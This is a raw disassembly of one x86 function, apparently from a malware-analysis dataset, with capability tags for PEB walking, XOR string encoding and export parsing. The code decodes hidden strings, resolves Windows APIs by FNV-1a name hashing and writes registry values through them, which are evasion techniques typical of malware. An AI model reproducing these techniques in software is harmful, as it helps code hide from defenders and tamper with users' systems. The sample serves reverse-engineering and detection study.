Function at 0x9a4d20
Capabilities:
Access peb ldr_data
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xa932dd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x230
push ebx
push esi
push edi
push 2
push 0
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x48], 0x35378eac
mov dword [ebp - 0x44], 0x11d2683f
mov dword [ebp - 0x40], 0xc0009aa8
mov dword [ebp - 0x3c], 0xa2cfbb4f
nop
nop
nop
nop
nop
nop
test eax, eax
je 0x9a4d82
cmp eax, 1
je 0x9a4d82
cmp eax, 0x80010106
jne 0x9a5b0e
mov dword [ebp - 0x1c], 0
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 0
push eax
push 0xaaf514
push 1
push 0
push 0xaa7104
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x1c]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
test eax, eax
js 0x9a5adc
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x2c]
push edx
push 2
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
test eax, eax
js 0x9a5adc
movaps xmm0, xmmword [0xab4840]
xor ecx, ecx
movups xmmword [ebp - 0x9f], xmm0
mov dword [ebp - 0x6f], 0xc8d3eaf2
movaps xmm0, xmmword [0xab5660]
movups xmmword [ebp - 0x8f], xmm0
mov dword [ebp - 0x6b], 0xd7cdcd
movaps xmm0, xmmword [0xab5a60]
movups xmmword [ebp - 0x7f], xmm0
mov byte [ebp - 0x67], 1
nop dword [eax]
lea eax, [ecx + 0x6e]
xor byte [ebp + ecx - 0x9f], al
inc ecx
cmp ecx, 0x37
jb 0x9a4e10
mov ebx, dword [0xa9b01c]
lea eax, [ebp - 0x15c]
push 0
push eax
push 0
push 0x20006
push 1
push 0
push 0
lea eax, [ebp - 0x9f]
mov byte [ebp - 0x67], 0
push eax
push dword [ebp - 0x2c]
call ebx
test eax, eax
jne 0x9a4f40
movaps xmm0, xmmword [0xab44c0]
xor ecx, ecx
movups xmmword [ebp - 0x141], xmm0
mov dword [ebp - 0x131], 0xefef160d
mov word [ebp - 0x12d], 0xf1
mov byte [ebp - 0x12b], 1
nop
lea eax, [ecx + 0x6e]
xor byte [ebp + ecx - 0x141], al
inc ecx
cmp ecx, 0x15
jb 0x9a4e80
mov eax, dword fs:[0x30]
mov byte [ebp - 0x12b], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x9a4f04
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x9a4f04
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x9a4efd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x9a4ee0
cmp esi, 0xda5113dc
je 0x9a4f08
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x9a4ec8
mov eax, dword [eax]
jmp 0x9a4ea3
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0x141]
add eax, edx
push ecx
push dword [ebp - 0x15c]
call eax
mov ebx, dword [0xa9b01c]
movaps xmm0, xmmword [0xab4840]
xor ecx, ecx
movups xmmword [ebp - 0x1f7], xmm0
mov dword [ebp - 0x1b7], 0x100dcc0
movaps xmm0, xmmword [0xab5660]
movups xmmword [ebp - 0x1e7], xmm0
movaps xmm0, xmmword [0xab5a60]
movups xmmword [ebp - 0x1d7], xmm0
movaps xmm0, xmmword [0xab5180]
movups xmmword [ebp - 0x1c7], xmm0
lea eax, [ecx + 0x6e]
xor byte [ebp + ecx - 0x1f7], al
inc ecx
cmp ecx, 0x42
jb 0x9a4f84
push 0
lea eax, [ebp - 0x160]
mov byte [ebp - 0x1b4], 0
push eax
push 0
push 0x20006
push 1
push 0
push 0
lea eax, [ebp - 0x1f7]
push eax
push dword [ebp - 0x2c]
call ebx
test eax, eax
jne 0x9a5087
mov word [ebp - 0x30], ax
xor ecx, ecx
mov dword [ebp - 0x21], 0x15170b
mov byte [ebp - 0x1d], 1
lea eax, [ecx + 0x6e]
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 3
jb 0x9a4fd6
mov eax, dword fs:[0x30]
mov byte [ebp - 0x1d], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x9a5054
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x9a5054
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x9a504d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x9a5030
cmp esi, 0xda5113dc
je 0x9a5058
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x9a5018
mov eax, dword [eax]
jmp 0x9a4ff3
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 2
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x30]
push ecx
push 1
push 0
lea ecx, [ebp - 0x21]
add eax, edx
push ecx
push dword [ebp - 0x160]
call eax
movaps xmm0, xmmword [0xab4840]
xor ecx, ecx
movups xmmword [ebp - 0x94], xmm0
mov dword [ebp - 0x74], 0xb1e3f8e1
movaps xmm0, xmmword [0xab5660]
movups xmmword [ebp - 0x84], xmm0
mov dword [ebp - 0x70], 0xf0f2f6d6
mov dword [ebp - 0x6c], 0xebfdf3f8
mov word [ebp - 0x68], 0x100
lea eax, [ecx + 0x6e]
xor byte [ebp + ecx - 0x94], al
inc ecx
cmp ecx, 0x2c
jb 0x9a50c0
mov ebx, dword [0xa9b004]
lea eax, [ebp - 0x34]
push eax
push 0x20006
push 1
lea eax, [ebp - 0x94]
mov byte [ebp - 0x67], 0
push eax
push dword [ebp - 0x2c]
call ebx
test eax, eax
jne 0x9a52aa
movaps xmm0, xmmword [0xab4a30]
xor ecx, ecx
movups xmmword [ebp - 0x174], xmm0
mov dword [ebp - 0x164], 0x1001a0c
lea eax, [ecx + 0x6e]
xor byte [ebp + ecx - 0x174], al
inc ecx
cmp ecx, 0x12
jb 0x9a5113
mov eax, dword fs:[0x30]
mov byte [ebp - 0x161], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x9a5199
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x9a5199
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x9a5192
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x9a5175
cmp esi, 0xda5113dc
je 0x9a519d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x9a5160
mov eax, dword [eax]
jmp 0x9a5136
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0x174]
add eax, edx
push ecx
push dword [ebp - 0x34]
call eax
movaps xmm0, xmmword [0xab3ef0]
xor ecx, ecx
movups xmmword [ebp - 0x66], xmm0
mov dword [ebp - 0x56], 0xe8eb1e2a
mov dword [ebp - 0x52], 0xe6c5e4ec
mov dword [ebp - 0x4e], 0xe7e7eef2
mov word [ebp - 0x4a], 0x100
lea eax, [ecx + 0x6e]
xor byte [ebp + ecx - 0x66], al
inc ecx
cmp ecx, 0x1c
jb 0x9a51f4
mov eax, dword fs:[0x30]
mov byte [ebp - 0x49], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x9a5274
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x9a5274
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x9a526d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x9a5250
cmp esi, 0xda5113dc
je 0x9a5278
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x9a5236
mov eax, dword [eax]
jmp 0x9a5211
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0x66]
add eax, edx
push ecx
push dword [ebp - 0x34]
call eax
mov ebx, dword [0xa9b004]
movaps xmm0, xmmword [0xab4840]
xor ecx, ecx
movups xmmword [ebp - 0x1b3], xmm0
mov dword [ebp - 0x193], 0xcde3f8e1
movaps xmm0, xmmword [0xab5660]
movups xmmword [ebp - 0x1a3], xmm0
mov dword [ebp - 0x18f], 0xe1e7eac1
mov dword [ebp - 0x18b], 0x100faf3
nop word [eax + eax]
lea eax, [ecx + 0x6e]
xor byte [ebp + ecx - 0x1b3], al
inc ecx
cmp ecx, 0x2a
jb 0x9a52f0
lea eax, [ebp - 0x38]
mov byte [ebp - 0x188], 0
push eax
push 0x20006
push 1
lea eax, [ebp - 0x1b3]
push eax
push dword [ebp - 0x2c]
call ebx
test eax, eax
jne 0x9a5407
cmp dword [ebp - 0x18], 1
movaps xmm0, xmmword [0xab4870]
setne al
mov word [ebp - 0x177], 0x10
mov dword [ebp - 0x30], eax
xor ecx, ecx
movups xmmword [ebp - 0x187], xmm0
mov byte [ebp - 0x175], 1
lea eax, [ecx + 0x6e]
xor byte [ebp + ecx - 0x187], al
inc ecx
cmp ecx, 0x11
jb 0x9a5350
mov eax, dword fs:[0x30]
mov byte [ebp - 0x175], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x9a53d4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x9a53d4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x9a53cd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x9a53b0
cmp esi, 0xda5113dc
je 0x9a53d8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x9a5398
mov eax, dword [eax]
jmp 0x9a5373
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x30]
push ecx
push 4
push 0
lea ecx, [ebp - 0x187]
add eax, edx
push ecx
push dword [ebp - 0x38]
call eax
movaps xmm0, xmmword [0xab4840]
xor ecx, ecx
movups xmmword [ebp - 0x23a], xmm0
mov word [ebp - 0x1fa], 0xc0
movaps xmm0, xmmword [0xab5660]
movups xmmword [ebp - 0x22a], xmm0
mov byte [ebp - 0x1f8], 1
movaps xmm0, xmmword [0xab59f0]
movups xmmword [ebp - 0x21a], xmm0
movaps xmm0, xmmword [0xab5190]
movups xmmword [ebp - 0x20a], xmm0
lea eax, [ecx + 0x6e]
xor byte [ebp + ecx - 0x23a], al
inc ecx
cmp ecx, 0x41
jb 0x9a5451
push 0
lea eax, [ebp - 0x28]
mov byte [ebp - 0x1f8], 0
push eax
push 0
push 0x20006
push 1
push 0
push 0
lea eax, [ebp - 0x23a]
push eax
push dword [ebp - 0x2c]
nop
nop
nop
nop
nop
nop
test eax, eax
jne 0x9a5a2c
movaps xmm0, xmmword [0xab4cf0]
xor ecx, ecx
movups xmmword [ebp - 0xf4], xmm0
mov dword [ebp - 0xe4], 0xf5e91111
mov dword [ebp - 0xe0], 0xebedf1ed
mov word [ebp - 0xdc], 0xe1
mov byte [ebp - 0xda], 1
nop word [eax + eax]
lea eax, [ecx + 0x6e]
xor byte [ebp + ecx - 0xf4], al
inc ecx
cmp ecx, 0x19
jb 0x9a54d0
mov eax, dword fs:[0x30]
mov byte [ebp - 0xda], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x9a5554
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x9a5554
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x9a554d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x9a5530
cmp esi, 0xda5113dc
je 0x9a5558
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x9a5518
mov eax, dword [eax]
jmp 0x9a54f3
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0xf4]
add eax, edx
push ecx
push dword [ebp - 0x28]
call eax
movaps xmm0, xmmword [0xab4cc0]
xor ecx, ecx
movups xmmword [ebp - 0x10f], xmm0
mov dword [ebp - 0xff], 0xe4f4100c
mov dword [ebp - 0xfb], 0xeaedf7e1
mov word [ebp - 0xf7], 0xe8
mov byte [ebp - 0xf5], 1
nop dword [eax + eax]
lea eax, [ecx + 0x6e]
xor byte [ebp + ecx - 0x10f], al
inc ecx
cmp ecx, 0x19
jb 0x9a55c0
mov eax, dword fs:[0x30]
mov byte [ebp - 0xf5], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x9a5644
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x9a5644
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x9a563d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x9a5620
cmp esi, 0xda5113dc
je 0x9a5648
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x9a5608
mov eax, dword [eax]
jmp 0x9a55e3
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0x10f]
add eax, edx
push ecx
push dword [ebp - 0x28]
call eax
movaps xmm0, xmmword [0xab4ac0]
xor ecx, ecx
movups xmmword [ebp - 0xbc], xmm0
mov dword [ebp - 0xac], 0xece90b12
mov dword [ebp - 0xa8], 0xe4eac6e7
mov dword [ebp - 0xa4], 0xedebe4
mov byte [ebp - 0xa0], 1
nop dword [eax]
lea eax, [ecx + 0x6e]
xor byte [ebp + ecx - 0xbc], al
inc ecx
cmp ecx, 0x1b
jb 0x9a56b0
mov eax, dword fs:[0x30]
mov byte [ebp - 0xa0], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x9a5734
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x9a5734
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x9a572d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x9a5710
cmp esi, 0xda5113dc
je 0x9a5738
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x9a56f8
mov eax, dword [eax]
jmp 0x9a56d3
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0xbc]
add eax, edx
push ecx
push dword [ebp - 0x28]
call eax
movaps xmm0, xmmword [0xab4d00]
xor ecx, ecx
movups xmmword [ebp - 0x12a], xmm0
mov dword [ebp - 0x11a], 0xf5e91111
mov dword [ebp - 0x116], 0xebedf1ed
mov word [ebp - 0x112], 0xe1
mov byte [ebp - 0x110], 1
nop dword [eax + eax]
lea eax, [ecx + 0x6e]
xor byte [ebp + ecx - 0x12a], al
inc ecx
cmp ecx, 0x19
jb 0x9a57a0
mov eax, dword fs:[0x30]
mov byte [ebp - 0x110], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x9a5824
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x9a5824
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x9a581d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x9a5800
cmp esi, 0xda5113dc
je 0x9a5828
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x9a57e8
mov eax, dword [eax]
jmp 0x9a57c3
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0x12a]
add eax, edx
push ecx
push dword [ebp - 0x28]
call eax
movaps xmm0, xmmword [0xab46f0]
xor ecx, ecx
movups xmmword [ebp - 0x158], xmm0
mov dword [ebp - 0x148], 0xeee90b1d
mov word [ebp - 0x144], 0xec
mov byte [ebp - 0x142], 1
lea eax, [ecx + 0x6e]
xor byte [ebp + ecx - 0x158], al
inc ecx
cmp ecx, 0x15
jb 0x9a5881
mov eax, dword fs:[0x30]
mov byte [ebp - 0x142], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x9a5909
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x9a5909
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x9a5902
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x9a58e5
cmp esi, 0xda5113dc
je 0x9a590d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x9a58d0
mov eax, dword [eax]
jmp 0x9a58a4
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0x158]
add eax, edx
push ecx
push dword [ebp - 0x28]
call eax
movaps xmm0, xmmword [0xab4d20]
xor ecx, ecx
movups xmmword [ebp - 0xd9], xmm0
mov dword [ebp - 0xc9], 0xe7e90b11
mov dword [ebp - 0xc5], 0xf1e5e0eb
mov dword [ebp - 0xc1], 0xe6e8ef
mov byte [ebp - 0xbd], 1
lea eax, [ecx + 0x6e]
xor byte [ebp + ecx - 0xd9], al
inc ecx
cmp ecx, 0x1b
jb 0x9a5971
mov eax, dword fs:[0x30]
mov byte [ebp - 0xbd], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x9a59f9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x9a59f9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x9a59f2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x9a59d5
cmp esi, 0xda5113dc
je 0x9a59fd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x9a59c0
mov eax, dword [eax]
jmp 0x9a5994
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0xd9]
add eax, edx
push ecx
push dword [ebp - 0x28]
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x9a5aa4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x9a5aa4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x9a5a9d
nop word [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x9a5a80
cmp esi, 0x1242154a
je 0x9a5aa8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x9a5a65
mov eax, dword [eax]
jmp 0x9a5a40
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push dword [ebp - 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x48]
push 0xaaf4e8
push edx
push 1
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0x1c]
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x9a5af4
mov dword [ebp - 0x1c], 0
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
nop
nop
nop
nop
nop
nop
mov dword [ebp - 4], 2
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x9a5b0e
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret